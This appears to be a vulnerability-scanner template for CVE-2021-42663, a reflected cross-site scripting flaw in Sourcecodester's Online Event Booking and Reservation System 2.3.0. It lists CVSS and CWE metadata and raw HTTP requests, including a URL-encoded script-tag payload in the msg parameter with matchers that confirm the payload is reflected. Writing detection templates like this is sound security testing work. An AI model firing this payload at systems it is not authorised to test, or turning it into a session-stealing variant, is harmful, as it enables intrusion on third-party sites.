id: CVE-2021-42663 info: name: Sourcecodester Online Event Booking and Reservation System 2.3.0 - Cross-Site Scripting author: fxploit severity: medium description: | Sourcecodester Online Event Booking and Reservation System 2.3.0 contains a cross-site scripting vulnerability in PHP/MySQL via the msg parameter to /event-management/index.php. An attacker can leverage this vulnerability in order to change the visibility of the website. Once the target user clicks on a given link, the content of the HTML code of the attacker's choice displays. reference: - https://github.com/0xDeku/CVE-2021-42663 - https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html - https://github.com/TheHackingRabbi/CVE-2021-42663 - https://nvd.nist.gov/vuln/detail/CVE-2021-42663 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N cvss-score: 4.3 cve-id: CVE-2021-42663 cwe-id: CWE-79 metadata: verified: "true" tags: cve,cve2021,xss requests: - raw: - | POST /login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded name={{username}}&pwd={{password}} - | GET /views/index.php?msg=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 2 cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - "</i><script>alert(document.domain)</script></div>" - type: word part: header words: - text/html - type: status status: - 200 # Enhanced by md on 2022/09/08